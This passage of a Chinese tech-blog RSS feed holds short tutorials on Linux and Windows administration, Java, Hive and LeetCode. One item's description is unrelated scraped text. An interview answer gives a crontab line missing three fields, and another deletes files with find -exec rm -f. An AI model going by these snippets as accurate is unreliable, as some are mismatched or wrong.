重启ibus输入法，然后再点一下键盘小图标并在下拉菜单中选“首选项”，然后在弹出的窗口中点击“输入法”选项卡，接着点“选择输入法”&amp;gt;&#34;汉语&#34;，然后点&#34;添加&#34; 五笔，OK！&#xA;我们就可以使用五笔了。但是集成的五笔实在是不怎么样，我用了一下，发觉《开》字与平时打的方法不一致，打不出来，所以只能是重新按找到的资料，安装《极点五笔》。&#xA;我又只好是在网上找《极点五笔》的软件包，时间就是浪费在找安装包的上面。。。。&#xA;所以为了让大家不要在这里浪费时间，我把安装包上传上来，给大家免去寻找的时间，因这里上传有限制，所以只能是上传到别的地方，请点下面的链接下载吧。大家也可以按上面分享的第二个链接里下载。&#xA;http://pan.baidu.com/s/1gd9slF1(我明明上传51上面去了，但是一直没有显示出来，可能还要审批吧，只能在百度网盘里共享出来)&#xA;把软件包下载下来后，我们就可以安装极点五笔了，我是把它放在桌面的一个WUBI文件夹里&#xA;先把终端打开&#xA;cd wubi(进入到安装包的文件夹里)&#xA;ls (显示当前文件夹里的内容，确认安装包存在)&#xA;tar -zxvf vissible-ibus.tar.gz (因为软件包是tar压缩的，所以用tar命令解压)&#xA;cp vissible.db /usr/share/ibus-table/tables&#xA;cp vissible.gif /usr/share/ibus-table/icons&#xA;因为我是直接用root用户登录的，所以没有前面的 sudo 命令&#xA;完成后，在点任务栏中那个键盘小图标，在下拉菜单选“重新重启” 重启ibus输入法，然后再点一下键盘小图标并在下拉菜单中选“首选项”，然后在弹出的窗口中点击“输入法”选项卡，接着点“选择输入法”&amp;gt;&#34;汉语&#34;，然后点&#34;添加&#34; 极点五笔，OK！&#xA;祝大家玩得开心！！！！</description>
    </item>
    <item>
      <title>LeetCode 算法 每日一题 1.两数之和</title>
      <link>https://bchobby.github.io/posts/48729482ee009b1b7c1fe959c6eb061c/</link>
      <pubDate>Sun, 02 May 2021 23:46:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48729482ee009b1b7c1fe959c6eb061c/</guid>
      <description>1.两数之和 题目描述 给定一个整数数组 nums 和一个整数目标值 target，请你在该数组中找出 和为目标值 的那 两个 整数，并返回它们的数组下标。&#xA;你可以假设每种输入只会对应一个答案。但是，数组中同一个元素在答案里不能重复出现。&#xA;你可以按任意顺序返回答案。&#xA;示例1&#xA;输入：nums = [2,7,11,15], target = 9&#xA;输出：[0,1]&#xA;解释：因为 nums[0] + nums[1] == 9 ，返回 [0, 1] 。&#xA;示例2&#xA;输入：nums = [3,2,4], target = 6&#xA;输出：[1,2]&#xA;示例3&#xA;输入：nums = [3,3], target = 6&#xA;输出：[0,1]&#xA;提示&#xA;2 &amp;lt;= nums.length &amp;lt;= 103 -109 &amp;lt;= nums[i] &amp;lt;= 109 -109 &amp;lt;= target &amp;lt;= 109 只会存在一个有效答案 使用暴力枚举方法提出所有的数字对，尝试暴力解决方案并优化，但是速度过慢。 搜索(x,y)与搜索target - x 的速度差别 在不使用数组情况下，也可以使用图（散列图、哈希）来解决问题 代码演示</description>
    </item>
    <item>
      <title>按“window&#43;E”键出现【找不到应用程序】或【explore.exe找不到】的解决方法</title>
      <link>https://bchobby.github.io/posts/83520f479d7a84796453ef953692b8c5/</link>
      <pubDate>Sun, 02 May 2021 20:33:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83520f479d7a84796453ef953692b8c5/</guid>
      <description> 按“window+E”键出现【找不到应用程序】或【explore.exe找不到】的解决方法 问题描述 按“win+e键”无法打开此电脑&#xA;解决步骤 步骤1 按“win+r”键，调出运行框，输入“regedit”确定，打开注册表。 步骤2 找到以下目录 计算机\HKEY_CLASSES_ROOT\CLSID{52205fd8-5dfb-447d-801a-d0b52f2e83e1}\shell\OpenNewWindow\command&#xA;步骤3 右击“command”，选择【权限】，点击【高级】 步骤4 在command高级安全设置中，点击【更改】，修改权限所有者 步骤5 选择【高级】，点击【立即查找】，选择输入对象的名称，单击“确定” 步骤6 点击需要修改的“组或用户名”，修改Users的权限，单击“确定”。 步骤7 单击command，在右边出现的窗格中删除“DelegateExecute”项 步骤8 双击“(默认)”这一项，将数值数据设置为： explorer.exe ::{20D04FE0-3AEA-1069-A2D8-08002B30309D},单击“确定”。&#xA;最后，使用快捷键“win+e”键成功打开此电脑。 </description>
    </item>
    <item>
      <title>Linux at指定执行路径,linux中使用at和crontab制定任务计划</title>
      <link>https://bchobby.github.io/posts/593758df2b13b38cd3fada49ed87f496/</link>
      <pubDate>Sun, 02 May 2021 12:45:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/593758df2b13b38cd3fada49ed87f496/</guid>
      <description>有时我们需要让linux系统按我们指定的时间规则自动的处理某些作业，例如在某个时间点执行某个脚本，周期性的备份数据，这时候就可以制定任务计划了。任务计划分为一次性和周期性两类。&#xA;一、制定一次性任务计划&#xA;一次性任务计划即执行完一次后就没有了的那种，可以通过at或batch命令生成。计划内容会以文件的形式写入/var/spool/at目录中,一个任务计划对应一个文件，系统的服务进程atd(at daemon)会读取这些文件并执行。某任务执行完毕后，其对应的文件也会被自动删除。&#xA;1、为安全起见，我们通常需要编辑/etc/at.allow(白名单)或/etc/at.deny(黑名单)以允许或拒绝某些特定用户制定任务计划，这两个文件对at和batch命令都适用&#xA;⑴直接在文件中输入用户名，一行一个用户&#xA;⑵若这两个文件都不存在，默认只有root可以使用at和batch命令&#xA;⑶/etc/at.allow若存在但没有任何内容，表示允许的用户为空，意即拒绝所有用户(root除外)，同样/etc/at.deny若没有任何内容，则表示放行所有用户。&#xA;⑷为避免混乱，/etc/at.allow和/etc/at.deny通常不同时使用。但若两者都存在且有矛盾的地方，以/etc/at.allow优先。&#xA;2、at：生成一次性任务计划&#xA;用法：at [option]... [TIME]&#xA;at命令后不能为空，必须接选项或参数&#xA;常用选项：&#xA;-d 作业编号：删除指定的待执行任务，相当于atrm&#xA;-l：显示待执行的任务的列表，相当于atq&#xA;-m：任务执行完成后向用户发送E-mail(默认)&#xA;-c 作业编号：显示指定作业的实际内容&#xA;任务计划创建格式：&#xA;at TIME&#xA;&amp;gt; COMMAND1&#xA;&amp;gt; COMMAND2&#xA;...&#xA;&amp;gt; 按Ctrl+D结束,结束符为EOT&#xA;TIME格式：&#xA;HH:MM 如14:30&#xA;HH:MM YYYY-MM-DD 如14:30 2015-10-07&#xA;HH:MM[am|pm] [Month] [Date] 如02:30pm October 07&#xA;HH:MM[am|pm] + number [minutes|hours|days|weeks] 如14:30 + 2 weeks&#xA;now + #UNIT 如now + 5minutes&#xA;noon，midnight，teatime，tomrrow&#xA;其它命令：&#xA;atq：查看待执行任务列表，相当于at -l&#xA;atrm：删除指定作业，相当于at -d&#xA;注：任务作业执行后，若有错误或标准输出，则会以邮件形式告知提交者。可重定向至其他地方或干脆丢弃(&amp;gt; /dev/null)。[root@localhost ~]# at now+2minutes # 两分钟后执行</description>
    </item>
    <item>
      <title>linux审计日志存放路径,linux audit审计（8）--ausearch搜索audit日志文件</title>
      <link>https://bchobby.github.io/posts/bb0907bc96f0b1b67dd95b67dcba6da5/</link>
      <pubDate>Sun, 02 May 2021 08:27:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb0907bc96f0b1b67dd95b67dcba6da5/</guid>
      <description>shFlags简介&#xA;看到有脚本中使用了shFlags,于是google了一下,发现还是个挺方便的东西. https://github.com/kward/shflags/wiki/Documentation12x sha ...&#xA;&amp;amp;lpar;转)C&amp;amp;num;序列化和反序列化小例子&#xA;网友关于序列化和反序列化的总结: ①序列化基本是指把一个对象保存到文件或流中,比如可以把文件序列化以保存到Xml中,或一个磁盘文件中 ②序列化以某种存储形式使自定义对象持久化: ③将对象从一个地方传递 ...&#xA;cmd&amp;amp;period;exe-应用程序错误 应用程序无法正常启动(0xc0000142)&#xA;之前还好好的,突然就遇到这个问题,运行CMD报错(如上图),后面无论怎么重启都是这样. 导致所有与CMD相关的程序任务都出错,例如Ctrl+Alt+Delete 只好开始各种百度谷歌 找到如下几种解决 ...&#xA;J2EE5&amp;amp;lpar;Servlet2&amp;amp;period;5&amp;amp;rpar;对EL表达式的支持&#xA;JAVA EE5默认 支持EL表达式. 办法一:在每个jsp文件的最上方加入以下代码: android 上下文菜单详解&#xA;本文使用xml来创建上下文菜单 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; 算法之合并排序&amp;amp;lpar;mergeSort&amp;amp;rpar;&#xA;合并排序算法在结构上是递归的,采用分治策略:就是将原有的问题划分为 n 个规模较小但结构与原问题相似的子问题,递归地解决这些子问题,然后合并其结果,就得到原问题的解. 合并排序的模式一般如下: 1.分 ...&#xA;SKLabelNode类&#xA;继承自 SKNode:UIResponder:NSObject 符合 NSCoding(SKNode)NSCopying(SKNode)NSObject(NSObject) 框架 /System/L ...&#xA;HTML&amp;amp;lowbar;1&#xA;HTML 指的是超文本标记语言: HyperText Markup LanguageHTML 不是一种编程语言,而是一种标记语言标记语言是一套标记标签 (markup tag)HTML 使用标记标签来 ...&#xA;android sdk content loader 0&amp;amp;percnt;不动&#xA;Make sure that eclipse is not active. If it is active kill eclipse from the processes tab of the tas .</description>
    </item>
    <item>
      <title>JDK的安装与环境变量配置详细教程</title>
      <link>https://bchobby.github.io/posts/1bddfade793cfea776cdc41bb1122f43/</link>
      <pubDate>Sat, 01 May 2021 22:25:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bddfade793cfea776cdc41bb1122f43/</guid>
      <description>JDK的安装与环境变量配置详细教程 JDK是开发java程序必备的开发工具包，要想做java程序开发，那么就需要装jdk。下面跟大家分享下jdk安装和环境变量配置的详细过程。&#xA;下载jdk 首先先去下载jdk安装包。点击此处或复制地址：&#xA;https://www.oracle.com/java/technologies/javase-downloads.html&#xA;到浏览器打开打开Oracle官网（因为Oracle收购了sun公司，所以可以直接在Oracle官网上下载jdk）。可以看到，截至目前（2021-5-1），JDK已经更新到了JDK16了。害，吐槽一下这个更新速度。不过目前企业中任然以JDK8为主，所以我也是装jdk8的版本。&#xA;如图所示：&#xA;向下滑动页面，找到jdk8，我们下载jdk8就行，点击JDK Download&#xA;如图所示：&#xA;进入如下界面：&#xA;向下拉，找到自己操作系统对应的版本。我的电脑是windows10 64位的操作系统，所以我选择windows x64这个版本，小伙伴可以根据自己的操作系统选择对应的版本就行，然后点击下载。&#xA;如图所示：&#xA;然后把这个约束同意了，然后点击下载（不同意肯定就不能下载咯）&#xA;如图所示：&#xA;小伙伴们点了下载可能会让你登录，有Oracle账号的就登录一下，没有的注册一个也行，填一些简单的信息即可，然后就弹出下载的提示框了，选个路径，点击下载就行。如果不想注册的话，我在文末提供了百度网盘的下载链接，各位小伙伴可以用百度网盘下载。&#xA;安装jdk 下载完成我们得到一个.exe的执行文件，直接双击这个执行文件就行&#xA;如图所示：&#xA;这个不用管，直接下一步就好：&#xA;这里需要小伙伴们注意一下，这里有个路径，如果需要的话可以改，但是不建议路径中有中文或者含有空格。选好之后直接下一步就行：&#xA;执行安装中…&#xA;到这一步jdk就已经安装上了，但是还会弹出一个独立的jre，这个地方建议小伙伴们都把这个独立的jre都装一下，因为有些开发工具，例如eclipse就会去检测这个jre，如果没有可能会报错。我这里把这个独立的jre装上。&#xA;这里也是，路径中尽量不要出现中文和空格。选好路径之后直接下一步等待安装就好。&#xA;安装的过程不会持续很久，很快就能完成，完成之后会出现这个界面，点击完成即可完成对jdk和独立jre的安装，下面是配置环境变量了&#xA;配置环境变量 首先，右键此电脑，点击属性：&#xA;点击高级系统设置：&#xA;点击环境变量：&#xA;这里需要各位小伙伴注意一下，这个地方有两个配置环境变量的地方，上面这个配置的环境变量仅当前用户有效，下面这个是所有用户都有效，我就配在系统环境变量下。点击新建&#xA;弹出这个窗口，输入变量名：JAVA_HOME，注意是全大写，这既是约定俗成，也是为我们后面装tomcat做个铺垫。因为tomcat要搜索“JAVA_HOME”这个的目录。（反正这么做就对了）点击浏览目录，选择自己jdk的安装目录，到根目录就可以，这里各位小伙伴要根据自己的安装路径来选择，然后点击确定。&#xA;现在JAVA_HOME变量就设置好了：&#xA;现在我们要配置Path环境变量。在环境变量中找到Path环境变量，如果没有就新建一个就好，问题不大。如图所示：选择Paht变量之后，点击编辑（如果是windows7这一步有点区别）。&#xA;出现这个界面，我们点新建：&#xA;在输入框中输入变量值：%JAVA_HOME%\bin，然后点击确定&#xA;为了保证万无一失，这里建议各位小伙伴把我们刚刚新建的变量值往上移，移动到最上面（因为可能在电脑上的其他路径中存在相同的可执行文件，然后在搜索的时候不能正确执行），点击确认，环境变量配置就大功告成了！&#xA;（有的小伙伴可能在其他地方看到还要配置classpath环境变量，但是实际上是不需要的哦，配置了没什么鸟用，不用配置都可以的）&#xA;如图所示：&#xA;验证安装和配置是否正确 现在我们来验证环境变量是否配置成功。按快捷键：win+r打开运行，输入cmd命令，然后回车：&#xA;打开命令行窗口之后输入javac然后回车：&#xA;继续输入java:&#xA;输入java -version:&#xA;如果前面三步都正常输出了，那么就证明我们安装jdk并配置环境变量成功了！&#xA;jdk百度网盘下载链接：https://pan.baidu.com/s/10okBC5PJaAcT0wZUyB7mhw&#xA;提取码：j3nx</description>
    </item>
    <item>
      <title>linux ortp 编译,编译oRTP库</title>
      <link>https://bchobby.github.io/posts/3c4cba3342d1a123444853882395a664/</link>
      <pubDate>Sat, 01 May 2021 20:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c4cba3342d1a123444853882395a664/</guid>
      <description>1. 编译oRTP海思平台移植ortp20过程如下：&#xA;编译及安装&#xA;进入主目录：cd ~/ortp-0.20.0&#xA;解压&#xA;执行如下命令：&#xA;a)./configure&#xA;b)make&#xA;c)make install&#xA;装好以后系统环境如下，静态动态库安装到了/usr/local/lib目录下，包括libortp.la、libortp.so libortp.so.8 libortp.so.8.0.0。头文件在/usr/local/include目录ortp目录下。&#xA;库文件复制到/usr/lib文件夹下，头文件复制到/usr/include下。&#xA;2. 交叉编译oRTP&#xA;1)库文件编译&#xA;进入主目录：cd ~/ortp-0.20.0&#xA;解压&#xA;执行如下命令：&#xA;a ) ./configure --host=arm-hisi-linux&#xA;或 ./configure --prefix=/opt/ortp --host=arm-hisi-linux&#xA;注：执行make时程序报错我们把文件/ortp-0.20.0/src/b64.c 中209-212行注释掉即可&#xA;#ifndef__WATCOMC__&#xA;// assert(characters[0] &amp;gt;= 0&amp;amp;&amp;amp; characters[0] &amp;lt; 64);&#xA;// assert(characters[1] &amp;gt;= 0&amp;amp;&amp;amp; characters[1] &amp;lt; 64);&#xA;// assert(characters[2] &amp;gt;= 0 &amp;amp;&amp;amp;characters[2] &amp;lt; 64);&#xA;// assert(characters[3] &amp;gt;= 0 &amp;amp;&amp;amp;characters[3] &amp;lt; 64);&#xA;#endif /*__WATCOMC__ */&#xA;/opt/ortp 是最后生成的库文件和头文件的文件夹&#xA;arm-hisi-linux是使用的平台，另外有可能用到arm-hismall-linux(如果编译器不匹配可能造成链接不上库文件)&#xA;b)make&#xA;c)make install</description>
    </item>
    <item>
      <title>linux177端口怎么打开,AIX5.3,如何使用xmanager管理？177端口打不开的相关推荐_ChinaUnix论坛...</title>
      <link>https://bchobby.github.io/posts/be06b67409cef4927cdbc7b991b7bc26/</link>
      <pubDate>Sat, 01 May 2021 20:26:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be06b67409cef4927cdbc7b991b7bc26/</guid>
      <description>相关讨论&#xA;我装了windows系统，然后又装了suse,现在默认启动是suse，想改为windows不知道怎么改，希望有人可以帮我！&#xA;/etc/grub.conf没有权限!boot/grub.conf也没有权限，要怎么办呢？&#xA;by&#xA;qumingzhong&#xA;-&#xA;系统管理&#xA;-&#xA;2006-12-25 09:42:14阅读(1186) 回复(3)&#xA;我通过配置,已经将suse的177端口打开.但是xmanager还是不能登录.&#xA;通过抓包发现.xmanager向177端口发出request的upd报文请求后,suse根本不立即给响应,而是在120秒之后才回复willing响应. 此时xmanager早已超时退出了.请问这是什么原因.&#xA;我该怎么解决呢?&#xA;by&#xA;mingjwan&#xA;-&#xA;系统管理&#xA;-&#xA;2006-06-17 08:54:02阅读(727) 回复(0)&#xA;我按照http://www.ccw.com.cn/server/yyjq/htm2005/20050906_0994B.htm&#xA;上的把服务器设置好了，但是扫描服务器好像177端口并没有开，我应该怎么设置，服务器是CENTOS 4.1&#xA;netstat -ln&#xA;Active Internet connections (only servers)&#xA;Proto Recv-Q Send-Q Local Address Foreign Address State&#xA;tcp 0 0 0.0.0.0:32769 0.0.0.0:* LISTEN&#xA;tcp ...&#xA;by&#xA;lingy&#xA;-&#xA;Linux论坛&#xA;-&#xA;2005-09-30 14:32:27阅读(3057) 回复(13)&#xA;我配置完XDM后，通过xmanager可以看到登录页面，如果我用其它用户可以登录。但是不允许root登录。&#xA;by&#xA;yesily&#xA;-&#xA;Linux论坛&#xA;-&#xA;2005-05-09 16:46:25阅读(1172) 回复(0)&#xA;要suse服务器上挂了127台终端，当再登录一台时，报“network port all in use”错。不知如何解决，请教各位大虾。</description>
    </item>
    <item>
      <title>linux中用at重启系统,求助:做科学计算的机子不断重启</title>
      <link>https://bchobby.github.io/posts/2a691f9327a7a1296e208a84c5473110/</link>
      <pubDate>Sat, 01 May 2021 05:22:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a691f9327a7a1296e208a84c5473110/</guid>
      <description>不好意思，还是把最新重启的一次一整段都贴上吧：&#xA;May 3 18:25:23 pul3 rtkit-daemon[6901]: Sucessfully made thread 6905 of process 6899 (/usr/bin/pulseaudio) owned by &#39;42&#39; RT at priority 5.&#xA;May 3 18:25:23 pul3 pulseaudio[6899]: conf-parser.c: [/usr/share/pulseaudio/alsa-mixer/paths/hdmi-output-0.conf:6] Unknown lvalue &#39;required-any&#39; in section &#39;Jack HDMI/DP,pcm=3&#39;.&#xA;May 3 18:25:23 pul3 rtkit-daemon[6901]: Sucessfully made thread 6906 of process 6899 (/usr/bin/pulseaudio) owned by &#39;42&#39; RT at priority 5.&#xA;May 3 18:25:24 pul3 kernel: snd_hda_intel 0000:81:00.1: IRQ timing workaround is activated for card #1.</description>
    </item>
    <item>
      <title>linux审计日志在哪里,linux – 将审计日志发送到SYSLOG服务器</title>
      <link>https://bchobby.github.io/posts/7d90a07e5bee66e69d0e4e356be55f6c/</link>
      <pubDate>Sat, 01 May 2021 04:31:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d90a07e5bee66e69d0e4e356be55f6c/</guid>
      <description>编辑：2014年11月17日&#xA;这个答案可能仍然有效,但在2014年,using the Audisp plugin是更好的答案.&#xA;如果您正在运行stock ksyslogd syslog服务器,我不知道如何执行此操作.但是有很好的指示可以在Wiki上使用rsyslog.(http://wiki.rsyslog.com/index.php/Centralizing_the_audit_log)&#xA;我将总结一下：&#xA;&amp;gt;在发送客户端(rsyslog.conf)：&#xA;auditd audit.log&#xA;$InputFileName /var/log/audit/audit.log&#xA;$InputFileTag tag_audit_log:&#xA;$InputFileStateFile audit_log&#xA;$InputFileSeverity info&#xA;$InputFileFacility local6&#xA;$InputRunFileMonitor&#xA;#&#xA;请注意,imfile模块需要先前已在rsyslog配置中加载.这是负责的一行：&#xA;$ModLoad imfile&#xA;因此,请检查它是否在您的rsyslog.conf文件中.如果不存在,请在### MODULES ###部分下添加它以启用此模块;否则,审计日志记录的上述配置将不起作用.&#xA;&amp;gt;在接收服务器(rsyslog.conf)上：&#xA;$template HostAudit,&#34;/var/log/rsyslog/%HOSTNAME%/audit_log&#34;&#xA;local6.*&#xA;在两台主机上重新启动服务(service rsyslog restart),您应该开始接收审计消息.</description>
    </item>
    <item>
      <title>python &#43; selenium清除Chrome缓存</title>
      <link>https://bchobby.github.io/posts/d612737fe8357dd1abf4d640ebf2c0d5/</link>
      <pubDate>Fri, 30 Apr 2021 17:27:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d612737fe8357dd1abf4d640ebf2c0d5/</guid>
      <description> python + selenium清除Chrome缓存&#xA;在网上搜索了很久，尝试了很多方法，最终得到了一个有用的 直接上代码 from selenium import webdriver driver = webdriver.Chrome() # 设置隐式等待 driver.implicitly_wait(10) # 清除缓存提示框 driver.get(&#39;chrome://settings/clearBrowserData&#39;) # 2S 等待时间 time.sleep(2) clearButton = driver.execute_script(&#34;return document.querySelector(&#39;settings-ui&#39;).shadowRoot.querySelector(&#39;settings-main&#39;).shadowRoot.querySelector(&#39;settings-basic-page&#39;).shadowRoot.querySelector(&#39;settings-section &amp;gt; settings-privacy-page&#39;).shadowRoot.querySelector(&#39;settings-clear-browsing-data-dialog&#39;).shadowRoot.querySelector(&#39;#clearBrowsingDataDialog&#39;).querySelector(&#39;#clearBrowsingDataConfirm&#39;)&#34;) clearButton.click() # driver.quit() </description>
    </item>
    <item>
      <title>Hive常用正则表达式</title>
      <link>https://bchobby.github.io/posts/1a2728d9d6541d21790eaa44599c2bca/</link>
      <pubDate>Fri, 30 Apr 2021 16:33:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a2728d9d6541d21790eaa44599c2bca/</guid>
      <description>Hive中常见的与正则匹配相关的函数&#xA;函数返回值类型函数说明likeboolean(A)str like (B)pattern，能否用B去完全匹配A的内容rlikeboolean(A)str rlike (B)regexp，能否用B去正则匹配A的内容regexpboolean功能语法同rlike一样，只是名字不同regexp_replace(str, regexp, rep)string将字符串str中符合正则表达式regexp的部分替换成字符串repregexp_extract(str, regexp[, idx])string将字符串str按照正则表达式regexp的规则拆分，返回idx指定位置的字符 注：用 [ ] 括起来的表示是可选参数。&#xA;1、like&#xA;使用格式：A like B，其中A是字符串，B是表达式，表示能否用B去表示A的所有内容。&#xA;否定的用法是 A not like B，或not A like B，与like相反。&#xA;返回值为boolean类型，如果A或者B有一个为NULL，则返回值为NULL。&#xA;表达式B中的匹配字符只能是 _ 和 %，_ 表示任意单个字符，% 表示任意数量的字符。&#xA;select &#39;hellohive&#39; like &#39;hello%&#39;; --返回结果：true select &#39;hellohive&#39; like &#39;hello_&#39;; --返回结果：false select &#39;hellohive&#39; like &#39;hello____&#39;; --返回结果：true 2、rlike/regexp&#xA;使用格式：A rlike B，其中A是字符串，B是正则表达式，符合Java正则表达式，表示字符串A是否符合正则表达式B的正则规则，rlike里的r就是regular规则的意思。&#xA;否定的用法是 A not rlike B，或not A rlike B，与rlike相反。&#xA;返回值为boolean类型，如果A或者B有一个为NULL，则返回值为NULL。&#xA;select &#39;\\&#39;; --返回结果：\ select &#39;hellohive&#39; regexp &#39;hello(hive)?&#39;; --是否是hello或者hellohive --返回结果：true select &#39;abc123456&#39; regexp &#39;^\\d+&amp;amp;&#39;; --是否由纯数字组成 --返回结果：false select &#39;abc123456&#39; regexp &#39;\\d+&#39;; --是否含有数字 --返回结果：true select &#39;hellohive&#39; rlike &#39;^[a-zA-Z]+$&#39;; --是否由纯字母组成 --返回结果：true select &#39;hello hive&#39; rlike &#39;^[a-zA-Z]+$&#39;; --返回结果：false 中文匹配：</description>
    </item>
    <item>
      <title>页面请求突然都变成了get方式</title>
      <link>https://bchobby.github.io/posts/2a12b7825b231e70acbb6e01ed851b65/</link>
      <pubDate>Fri, 30 Apr 2021 15:36:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a12b7825b231e70acbb6e01ed851b65/</guid>
      <description>Q: 明明是post方式发出的，但是控制台查看发现变成get&#xA;A: 可能是服务端请求由http变为了https,可以看到请求经历了302重定向，将请求路径改为https即可</description>
    </item>
    <item>
      <title>ntp windows linux端口,linux 里 配置NTP服务SERVER为NTP server. 怎么配置ntf服务</title>
      <link>https://bchobby.github.io/posts/05d03e9d12d43b5b69c328fa3b6280e9/</link>
      <pubDate>Fri, 30 Apr 2021 12:17:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05d03e9d12d43b5b69c328fa3b6280e9/</guid>
      <description>NTP(Network Time Protocol,网络时间协议)是基于RFC1305的协议，是一个跨越广域网或局域网的复杂的同步时间协议。一般情况下建议配置在路由器上，当然配置在其它设备上都是可以的。接下来我们根据下面的拓扑图来看一下在路由器上配置NTP服务器的方法以及交换机、windows服务器、Linux服务器如何设置NTP客户端。拓扑如下：&#xA;路由器NTPserver上配置如下：&#xA;R1&amp;gt;en&#xA;R1#conf t&#xA;Enter configuration commands, one per line. End with CNTL/Z.&#xA;R1(config)#hostname NTPserver&#xA;NTPserver(config)#no ip do lo&#xA;NTPserver(config)#line con 0&#xA;NTPserver(config-line)#exec-t 0 0&#xA;NTPserver(config-line)#logg syn&#xA;NTPserver(config-line)#exit&#xA;NTPserver(config)#int e0/1&#xA;NTPserver(config-if)#int e0/0&#xA;NTPserver(config-if)#exi&#xA;NTPserver(config)#int e0/0&#xA;NTPserver(config-if)#ip ad 192.168.1.1 255.255.255.0&#xA;NTPserver(config-if)#no shut&#xA;NTPserver(config-if)#&#xA;*Mar 1 00:02:39.959: %LINK-3-UPDOWN: Interface Ethernet0/0, changed state to up&#xA;*Mar 1 00:02:40.959: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet0/0, changed state to up&#xA;NTPserver(config-if)#clock time</description>
    </item>
    <item>
      <title>【Java核心知识】类中属性的初始化、static关键字性质、类的加载是什么、类属性的初始化何时发生、类中属性初始化顺序</title>
      <link>https://bchobby.github.io/posts/a8fa5d621a0f1e28e90d50b053d3bad6/</link>
      <pubDate>Fri, 30 Apr 2021 11:18:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8fa5d621a0f1e28e90d50b053d3bad6/</guid>
      <description>文章目录 static关键字、类的加载、属性的初始化问题一、属性的初始化1.1 方法中属性的初始化1.2 类中属性的初始化1.3 属性初始化的顺序（非静态） 二、static关键字三、类的加载与静态数据的初始化3.1 类的加载与数据的初始化3.2 属性的初始化顺序3.3 继承与初始化 static关键字、类的加载、属性的初始化问题 一、属性的初始化 1.1 方法中属性的初始化 对于方法中定义的属性（准确说是局部变量），一定要对其进行初始化操作之后才能对其进行其他操作。&#xA;例：&#xA;void f() { int i; i++;&#x9;// 会报错，得先对i进行初始化操作。 } 对于方法的局部变量，如果不对其进行初始化，会在编译时报错。&#xA;1.2 类中属性的初始化 对于类中的属性，情况就会不同，Java允许不对其进行初始化，对于那些未被程序员初始化的类中属性，Java会在为它们赋予该类型的默认值。&#xA;Java类型的默认值：&#xA;8大基本数据类型：byte：0；short：0；int：0；long：0L；float：0.0f；double：0.0d；boolean：false；char：&#34; &#34;；(空字符)引用类型（对象、数组）：null 例：&#xA;public class InitialValues { int val; // 在类被加载时，会被初始化为0 void addOne() { System.out.println(&#34;before_addOne：&#34;+val); val++; } void printInitialValues() { System.out.println(&#34;printInitialValues():&#34;val); } public static void main(String[] args) { InitialValues a = new InitialValues(); a.addOne(); a.printInitialValues(); } } /* 程序执行结果： before_addOne：0 printInitialValues():1 */ 对于未手动初始化的类中属性，其自动初始化赋值是在构造方法之前的。例：</description>
    </item>
    <item>
      <title>linux关闭xserver命令,图形界面 X Server 的关闭与启动</title>
      <link>https://bchobby.github.io/posts/662d4d191da907dfc8ed74f083f8227c/</link>
      <pubDate>Fri, 30 Apr 2021 10:42:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/662d4d191da907dfc8ed74f083f8227c/</guid>
      <description>Linux图形界面多数使用的是 X Server, 我们有时需要关闭/重启它. 比如: 安装 NVIDIA 的驱动程序时，就需要先关闭 X server; 希望让系统以 server 方式运行,关闭桌面环境以降低不必要的性能损耗.&#xA;Ubuntu18.04&#xA;Ubuntu18.04 虽然默认使用了gnome桌面，但是经过测试 gdm 并不能很好得工作，通过设置系统启动方式，然后重启来达到关闭 x server 的目的&#xA;ps. gdm是GNOME Display Manager, GNOME的桌面环境管理器&#xA;# 关闭用户图形界面&#xA;sudo systemctl set-default multi-user.target&#xA;sudo reboot&#xA;# 开启用户图形界面&#xA;sudo systemctl set-default graphical.target&#xA;sudo reboot&#xA;Ubuntu16.04 管理 x server&#xA;用gdm管理&#xA;sudo /etc/init.d/gdm stop&#xA;sudo /etc/init.d/gdm status&#xA;sudo /etc/init.d/gdm restart&#xA;如果 /etc/init.d 下面没有 gdm 的话，可以尝试另一种方法&#xA;用lightdm管理&#xA;sudo /etc/init.d/lightdm stop&#xA;sudo /etc/init.d/lightdm status&#xA;sudo /etc/init.</description>
    </item>
    <item>
      <title>常考的linux内核面试题,一些Linux面试题</title>
      <link>https://bchobby.github.io/posts/d5db0a5c07fbb7d524a9d14c5cf1ed00/</link>
      <pubDate>Fri, 30 Apr 2021 00:40:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5db0a5c07fbb7d524a9d14c5cf1ed00/</guid>
      <description>整理了一些Linux面试题，很基础的。&#xA;1：zip的解压方式&#xA;2.Linux 内核引导时，从文件__ 中读取要加载的文件系统&#xA;答：/etc/fstab&#xA;3：Linux 文件系统中每个文件用__节点 来标识。&#xA;答：索引节点&#xA;4.vi编辑模式下，用__ 进行模式转换&#xA;答：ESC&#xA;5：检查已安装的文件系统/dev/had5 是否正常，若检查有错，则自动修复，其命令及参数是。&#xA;答：fsck -a /dev/had5&#xA;6：在Linux 系统下，第二个IDE 通道的硬盘(从盘)被标识为&#xA;答：hdb&#xA;7、为脚本程序 test.sh指定执行权限的命令以及 参数是&#xA;答：chmod a+x test.sh 或者 chmod 755 test.sh&#xA;8、如何让一check.sh脚本从每天凌晨2点30分执行&#xA;答：30 02 /bin/bash /home/fang/check.sh&#xA;9、用一条命令实现删除当前目录下3天前被修改的文件？&#xA;答：find ./ -type f -mtime +3 -exec rm -f {} \;&#xA;10、写出smtp,pop3,snmp,dns,ftp,http,https,pptp，telnet的端口&#xA;11.怎样才能查看当前系统是哪个版本&#xA;答：cat /etc/CentOS-release&#xA;12、如何修改一台Linux机器的默认编码。&#xA;答：sed -i &#39;s/en_US/zh_CN/g&#39; 